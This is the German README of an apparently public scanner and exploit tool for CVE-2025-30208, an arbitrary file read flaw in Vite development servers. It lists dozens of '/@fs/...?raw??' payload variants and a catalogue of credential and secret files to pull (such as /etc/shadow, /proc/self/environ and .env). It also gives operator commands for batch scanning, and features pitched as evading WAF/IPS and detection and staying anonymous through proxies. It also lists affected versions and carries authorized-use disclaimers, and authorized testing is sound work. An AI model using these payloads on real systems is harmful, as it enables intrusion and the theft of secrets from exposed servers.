🔥 CVE-2025-30208 Vite-Scanner für die „Arbitrary File Read“-Schwachstelle

Fortschrittlicher Schwachstellenscanner für CVE-2025-30208 mit Enterprise-Funktionen

Professionelles Penetrationstest-Tool zur Erkennung der Vite-Schwachstelle „Arbitrary File Read“

🚀 Schnellstart • 📋 Funktionen • 🔧 Verwendung • 📊 Beispiele • 🛡️ Sicherheit

📖 Übersicht

Dies ist ein umfassender Schwachstellenscanner, der entwickelt wurde, um die Schwachstelle CVE-2025-30208 in Vite-Entwicklungsservern zu erkennen und auszunutzen. Die Schwachstelle ermöglicht den beliebigen Lesezugriff auf Dateien (Arbitrary File Read) über die Dateisystem-Endpunkte von Vite und kann potenziell sensible Konfigurationsdateien, Quellcode und Systeminformationen offenlegen.

🎯 Was dieses Tool tut

Erkennt verwundbare Vite-Instanzen in Netzwerken
Nutzt die Schwachstelle „Arbitrary File Read“ sicher aus
Findet sensible Dateien und Konfigurationsdaten
Meldet Ergebnisse in mehreren Formaten (HTML, JSON, Konsole)
Verwaltet Scan-Sitzungen und Konfigurationen
Behandelt Fehler elegant mit automatischen Wiederholungsmechanismen

🏗️ Modulare Architektur

Das Tool verfügt nun über eine modulare Architektur für bessere Wartbarkeit und Erweiterbarkeit:

CVE-2025-30208.py - Haupt-Scanner-Anwendung
payloads.py - Fortschrittliche Exploit-Payloads (60+ Variationen)
sensitive_files.py - Umfassende Datenbank sensibler Dateien (200+ Dateien)
html_template.py - Erweitertes HTML-Reporting-Template im Hacker-Stil

🚀 Schnellstart

Voraussetzungen

pip3 install -r requirements.txt

Grundlegende Verwendung

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 Funktionen

🔍 Kernfunktionen der Schwachstellenerkennung

60+ Fortschrittliche Payloads: Umfassende Exploitation-Techniken für maximale Erkennung
Intelligente Erkennung: Analyse der Antworten zur Vermeidung von Fehlalarmen
Echtzeit-Validierung: Kontinuierliche Validierung der Zielantworten
Umfassende Tests: Testet alle bekannten verwundbaren Endpunkte

🛡️ Erweiterte Sicherheitsfunktionen

Proxy-Unterstützung: HTTP/HTTPS-Proxy-Konfiguration für Anonymität
Benutzerdefinierte Header: WAF/IPS mit benutzerdefinierten HTTP-Headern umgehen
Ratenbegrenzung: Konfigurierbare Verzögerungen zur Vermeidung der Erkennung
Sitzungsverwaltung: Scan-Sitzungen speichern und wiederherstellen
Eingabevalidierung: Umfassende Parametervalidierung

🔧 Erweiterte Fähigkeiten

Stapel-Scanning: Multithreaded-Scanning mehrerer Ziele
Erkennung sensibler Dateien: Automatische Erkennung von 200+ sensiblen Dateien
Konnektivitätstests: TCP/UDP/HTTP/HTTPS-Protokolltests
Fehlerbehebung: Automatische Wiederholung mit exponentiellem Backoff
Umfassende Protokollierung: Detaillierte Logs mit Zeitstempeln

📊 Berichte & Ausgabe

🎨 Erweiterte HTML-Berichte: Ansprechende Schwachstellenberichte im Hacker-Stil mit Animationen
JSON-Export: Strukturierte Daten für weitere Analysen
Konsolenausgabe: Farbcodiertes Echtzeit-Feedback
Logdateien: Detaillierte Audit-Protokolle
Interaktive Webschnittstelle: Integrierter Webserver zum Anzeigen von Berichten

🔧 Verwendungsanleitung

1. Grundkonfiguration

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. Schwachstellentest

CVE-2025-30208 > run

# Enable verbose mode for detailed output
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. Stapel-Scanning

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Press Enter twice to finish]

4. Erkennung sensibler Dateien

CVE-2025-30208 > scan

5. Erweiterte Konfiguration

# Configure proxy
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# Set custom headers
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# Configure rate limiting
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. Erweitertes HTML-Reporting

# Generate beautiful HTML report
CVE-2025-30208 > pull

# Start web server to view report
CVE-2025-30208 > web

# Start web server on specific port
CVE-2025-30208 > web 8081

# Stop web server
CVE-2025-30208 > web off

📊 Befehlsreferenz

⚙️ Konfigurationsoptionen

🎨 Erweitertes Payload-System

Der Scanner verwendet nun 60+ verschiedene Payload-Varianten, die in payloads.py organisiert sind:

Primäre @fs-Payloads

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

Erweiterte Parameter-Variationen

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

Vite-spezifische Variationen

/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug

Modulsystem-Variationen

/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html

Alternative Endpunkte

/app/{file_path}?raw??
/App/{file_path}?raw??

🔍 Erweiterte Erkennung sensibler Dateien

Das Tool testet nun 200+ sensible Dateien, die in sensitive_files.py organisiert sind:

🖥️ Systemdateien (Linux/Unix)

/etc/passwd - Benutzerkontoinformationen
/etc/shadow - Verschlüsselte Passwortdaten
/etc/services - Netzwerkdienste
/etc/hosts - Hostname-Zuordnungen
/etc/fstab - Dateisystemtabelle
/etc/ssh/sshd_config - SSH-Serverkonfiguration
/etc/crontab - System-Cron-Jobs
/etc/sudoers - Sudo-Konfiguration

📊 Prozessinformationen

/proc/version - Kernelversion
/proc/cpuinfo - CPU-Informationen
/proc/meminfo - Speicherinformationen
/proc/self/environ - Prozessumgebung
/proc/self/cmdline - Prozess-Befehlszeile
/proc/net/tcp - TCP-Verbindungen
/proc/net/udp - UDP-Verbindungen

⚙️ Anwendungskonfiguration

.env - Umgebungsvariablen
.env.local - Lokale Umgebung
.env.production - Produktionsumgebung
config.json - Anwendungskonfiguration
settings.json - Anwendungseinstellungen
application.properties - Spring-Konfiguration
application.yml - YAML-Konfiguration
database.yml - Datenbankkonfiguration
secrets.json - Geheimnisverwaltung

📦 Node.js-/JavaScript-Dateien

package.json - Node.js-Abhängigkeiten
package-lock.json - Gesperrte Abhängigkeiten
yarn.lock - Yarn-Sperrdatei
vite.config.js - Vite-Konfiguration
vite.config.ts - TypeScript-Vite-Konfiguration
tsconfig.json - TypeScript-Konfiguration
webpack.config.js - Webpack-Konfiguration
next.config.js - Next.js-Konfiguration
nuxt.config.js - Nuxt.js-Konfiguration
angular.json - Angular-Konfiguration
vue.config.js - Vue.js-Konfiguration
rollup.config.js - Rollup-Konfiguration
eslint.config.js - ESLint-Konfiguration

🔧 Git-Dateien

.git/config - Git-Konfiguration
.gitignore - Git-Ignore-Regeln
.gitattributes - Git-Attribute
.gitmodules - Git-Submodule
.git/HEAD - Aktueller Branch
.git/logs/HEAD - Git-Logs
.git/refs/heads/master - Master-Branch
.git/refs/heads/main - Main-Branch

📚 Dokumentationsdateien

README.md - Projektdokumentation
CHANGELOG.md - Änderungsprotokoll
LICENSE - Lizenzinformationen
CONTRIBUTING.md - Richtlinien für Beiträge
AUTHORS - Autoreninformationen
TODO.md - Aufgabenliste
ROADMAP.md - Entwicklungs-Roadmap

🐳 Docker-Dateien

Dockerfile - Docker-Konfiguration
docker-compose.yml - Docker Compose
docker-compose.override.yml - Override-Konfiguration
.dockerignore - Docker-Ignore-Regeln
docker-compose.prod.yml - Produktionskonfiguration
docker-compose.dev.yml - Entwicklungskonfiguration

🌐 Webserver-Konfiguration

nginx.conf - Nginx-Konfiguration
apache2.conf - Apache-Konfiguration
httpd.conf - HTTP-Daemon-Konfiguration
.htaccess - Apache-Zugriffskontrolle
web.config - IIS-Konfiguration
robots.txt - Suchmaschinen-Anweisungen
sitemap.xml - Seitenstruktur
manifest.json - Web-App-Manifest
sw.js - Service Worker
firebase.json - Firebase-Konfiguration
firebase.rules - Firebase-Sicherheitsregeln

🪟 Windows-Dateien

boot.ini - Boot-Konfiguration
autoexec.bat - Auto-Executionsskript
system.ini - Systemkonfiguration
win.ini - Windows-Konfiguration
Users - Benutzerverzeichnisse
Windows - Systemdateien
Program Files - Anwendungsverzeichnisse

🍎 macOS-Dateien

System - Systemdateien
Library - Bibliotheksdateien
Applications - Anwendungsdateien
private/etc/hosts - Hosts-Datei
private/etc/passwd - Benutzerkonten

🗄️ Datenbankdateien

database.db - SQLite-Datenbank
database.sqlite - SQLite-Datenbank
data.db - Datendatenbank
dump.sql - Datenbank-Dump
schema.sql - Datenbankschema
migrations - Datenbankmigrationen

📝 Logdateien

logs - Logverzeichnis
error.log - Fehlerprotokolle
access.log - Zugriffsprotokolle
app.log - Anwendungsprotokolle
debug.log - Debug-Protokolle
combined.log - Kombinierte Protokolle

💾 Sicherungsdateien

backup - Sicherungsverzeichnis
backup.sql - Datenbanksicherung
backup.zip - Komprimierte Sicherung
dump - Datendump
export - Datenexport

🔒 Sicherheit & Authentifizierung

auth.json - Authentifizierungskonfiguration
credentials.json - Speicher für Anmeldedaten
keys.json - Schlüsselverwaltung
tokens.json - Token-Speicher
jwt.json - JWT-Konfiguration
oauth.json - OAuth-Konfiguration

🔌 API- & Dienstdateien

api.json - API-Konfiguration
swagger.json - API-Dokumentation
openapi.json - OpenAPI-Spezifikation
graphql.json - GraphQL-Konfiguration
schema.json - API-Schema

☁️ Cloud & Deployment

cloudformation.yml - AWS CloudFormation
serverless.yml - Serverless-Konfiguration
terraform.tf - Terraform-Konfiguration
kubernetes.yml - Kubernetes-Konfiguration
k8s.yml - Kubernetes-Konfiguration

📊 Monitoring & Analysen

analytics.json - Analyse-Konfiguration
monitoring.json - Monitoring-Einrichtung
metrics.json - Metriken-Konfiguration
telemetry.json - Telemetriedaten

🎨 Erweitertes HTML-Reporting

Das Tool erzeugt nun ansprechende HTML-Berichte im Hacker-Stil mit:

✨ Visuelle Funktionen

Matrix-artiger Hintergrund mit animierten fallenden Zeichen
Verlaufsanimationen und Glüheffekte
Interaktive Elemente mit Hover-Effekten
Responsives Design für alle Geräte
Dunkles Design, optimiert für Sicherheitsexperten

📊 Interaktive Statistiken

Echtzeit-Zähler für Gesamtlecks und exponierte Bytes
Schweregrad-Indikatoren mit Farbcodierung
Kopierfunktion für jedes Leck
Inhaltsvorschau mit Größe und Zeilenanzahl
Erweiterbare Abschnitte für detaillierte Analysen

🔧 Technische Funktionen

Google-Fonts-Integration (JetBrains Mono, Orbitron)
CSS-Animationen und Übergänge
JavaScript-Interaktivität für ein verbessertes Nutzererlebnis
Mobilresponsives Design
Browserübergreifende Kompatibilität

🌐 Webserver-Integration

Integrierter HTTP-Server zum Anzeigen von Berichten
Automatisches Öffnen des Browsers
Portkonfigurations-Optionen
Einfache Start-/Stopp-Befehle

🛡️ Fehlerbehandlung & Wiederherstellung

Automatischer Wiederholungsmechanismus

3 Wiederholungsversuche: Fehlgeschlagene Anfragen werden automatisch wiederholt
Exponentieller Backoff: Zunehmende Verzögerungen zwischen den Wiederholungen
Intelligente Fehlerklassifizierung: Unterschiedliche Behandlung verschiedener Fehlertypen
Sanfte Wiederherstellung: Das Tool arbeitet nach Fehlern weiter

Fehlerkategorien

NetworkError: Verbindungs-, Timeout- und Proxy-Probleme
ConfigurationError: Ungültige Einstellungen und Parameter
ValidationError: Ungültige Eingabeparameter
ScannerError: Allgemeine Scanner-Fehler

Validierungsfunktionen

Echtzeit-Eingabevalidierung: Alle Parameter werden vor der Verwendung validiert
Konfigurationsvalidierung: Vollständige Validierung vor dem Scannen
Konnektivitätstests: TCP/UDP/HTTP/HTTPS-Protokolltests
Proxy-Validierung: URL-Formatvalidierung des Proxys

📁 Ausgabedateien

📝 Betroffene Versionen

🚨 Verwundbare Versionen

6.2.0 ≤ Vite ≤ 6.2.2
6.1.0 ≤ Vite ≤ 6.1.1
6.0.0 ≤ Vite ≤ 6.0.11
5.0.0 ≤ Vite ≤ 5.4.14
Vite ≤ 4.5.9

✅ Nicht betroffene Versionen

Vite ≥ 6.2.3
6.1.2 ≤ Vite < 6.2.0
6.0.12 ≤ Vite < 6.1.0
5.4.15 ≤ Vite < 6.0.0
4.5.10 ≤ Vite < 5.0.0

🛡️ Sicherheit & ethische Nutzung

⚠️ Wichtige Sicherheitshinweise

Nur autorisierte Tests: Verwenden Sie das Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung zum Testen haben
Verantwortungsvolle Offenlegung: Melden Sie Schwachstellen den Systembesitzern
Ratenbegrenzung: Verwenden Sie angemessene Verzögerungen, um Ziele nicht zu überlasten
Proxy-Nutzung: Erwägen Sie bei Bedarf die Verwendung von Proxys für Anonymität
Rechtliche Compliance: Stellen Sie die Einhaltung lokaler Gesetze und Vorschriften sicher

🔒 Best Practices

Holen Sie vor dem Testen immer eine schriftliche Genehmigung ein
Verwenden Sie das Tool nur in kontrollierten Umgebungen
Dokumentieren Sie alle Testaktivitäten
Respektieren Sie Ratenbegrenzungen und Systemressourcen
Melden Sie Ergebnisse verantwortungsvoll

🚀 Erweiterte Verwendungsbeispiele

Beispiel 1: Umfassender Netzwerkscan

CVE-2025-30208 > set THREADS 20
CVE-2025-30208 > set RATE_LIMIT 0.5
CVE-2025-30208 > set TIMEOUT 10
CVE-2025-30208 > verbose
CVE-2025-30208 > batch

Beispiel 2: Verdecktes Scannen mit Proxy

CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
CVE-2025-30208 > set RATE_LIMIT 2.0
CVE-2025-30208 > run

Beispiel 3: Erweiterter Reporting-Workflow

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > pull
CVE-2025-30208 > web 8080

Beispiel 4: Erkennung sensibler Dateien

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > scan

🏗️ Projektstruktur

CVE-2025-30208/
├── CVE-2025-30208.py          # Main scanner application
├── payloads.py                # Advanced exploitation payloads (60+)
├── sensitive_files.py         # Sensitive file database (200+)
├── html_template.py           # Enhanced HTML reporting template
├── README.md                  # This documentation
├── requirements.txt           # Python dependencies
├── logs/                      # Log files directory
├── data_leak.html            # Generated HTML reports
├── data_leak.json            # Generated JSON reports
└── session.json              # Saved session configurations

🤝 Mitwirken

Wir freuen uns über Beiträge zur Verbesserung dieses Tools:

Forken Sie das Repository
Erstellen Sie einen Feature-Branch
Nehmen Sie Ihre Änderungen vor
Testen Sie gründlich
Reichen Sie einen Pull Request ein

Bereiche für Beiträge

Neue Payload-Variationen in payloads.py
Zusätzliche Muster für sensible Dateien in sensitive_files.py
Erweiterte HTML-Templates in html_template.py
Verbesserte Fehlerbehandlung
Leistungsoptimierungen
Verbesserungen der Dokumentation

📄 Lizenz

Dieses Projekt ist nur für Bildungszwecke und autorisierte Sicherheitstests lizenziert.

⚠️ Rechtlicher Hinweis: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bestimmt. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie vor dem Testen von Systemen über die entsprechende Genehmigung verfügen. Die Autoren übernehmen keine Verantwortung für eine missbräuchliche Verwendung dieses Tools.

👨💻 Autor

ThemeHackers

Sicherheitsforscher & Penetrationstester

⭐ Wenn Ihnen dieses Tool geholfen hat, geben Sie ihm bitte einen Stern! ⭐

Mit ❤️ für die Sicherheits-Community erstellt

`set <option> <value>`	Konfigurationsoptionen festlegen	`set RHOST 192.168.1.100`
`show options`	Aktuelle Einstellungen anzeigen	`show options`
`edit`	Interaktiver Optionseditor	`edit`
`run` / `exploit`	Schwachstellentest ausführen	`run`
`batch`	Mehrere Ziele im Stapel scannen	`batch`
`scan`	Sensible Dateien finden	`scan`
`pull`	Ergebnisse nach HTML/JSON exportieren	`pull`
`web [on\|off\|port]`	Webserver für HTML-Berichte	`web 8080`
`save`	Sitzungskonfiguration speichern	`save`
`load`	Sitzungskonfiguration laden	`load`
`test`	Konnektivität zum Ziel testen	`test`
`validate`	Aktuelle Konfiguration validieren	`validate`
`verbose`	Ausführlichen Modus umschalten	`verbose`
`proxy`	Proxy-Einstellungen konfigurieren	`proxy`
`headers`	Benutzerdefinierte HTTP-Header festlegen	`headers`
`rate`	Ratenbegrenzung konfigurieren	`rate`
`log`	Protokollinformationen anzeigen	`log`
`help` / `?`	Hilfe anzeigen	`help`
`exit` / `quit`	Tool beenden	`exit`

`RHOST`	Ziel-Host/IP-Adresse	-	Hostname/IP-Validierung
`RPORT`	Ziel-Portnummer	-	Portbereich (1-65535)
`FILEPATH`	Zu testender Dateipfad	`etc/passwd`	Pfadvalidierung
`PROXY`	HTTP/HTTPS-Proxy-URL	-	URL-Formatvalidierung
`VERBOSE`	Ausführliche Ausgabe aktivieren	`false`	Boolesche Validierung
`RATE_LIMIT`	Verzögerung zwischen Anfragen (Sekunden)	`0.3`	Numerische Validierung
`THREADS`	Anzahl der Threads für Stapel-Scanning	`5`	Ganzzahl-Validierung
`TIMEOUT`	Anfrage-Timeout (Sekunden)	`5`	Ganzzahl-Validierung
`CUSTOM_HEADERS`	Benutzerdefinierte HTTP-Header (JSON)	`{}`	JSON-Formatvalidierung

`data_leak.html`	Erweiterter HTML-Schwachstellenbericht im Hacker-Stil	HTML
`data_leak.json`	Strukturierter JSON-Export	JSON
`sensitive_files_discovery.json`	Erkannte sensible Dateien	JSON
`session.json`	Gespeicherte Sitzungskonfiguration	JSON
`logs/cve_2025_30208_YYYYMMDD_HHMMSS.log`	Detaillierte Audit-Protokolle	Text

CVE-2025-30208

Beliebteste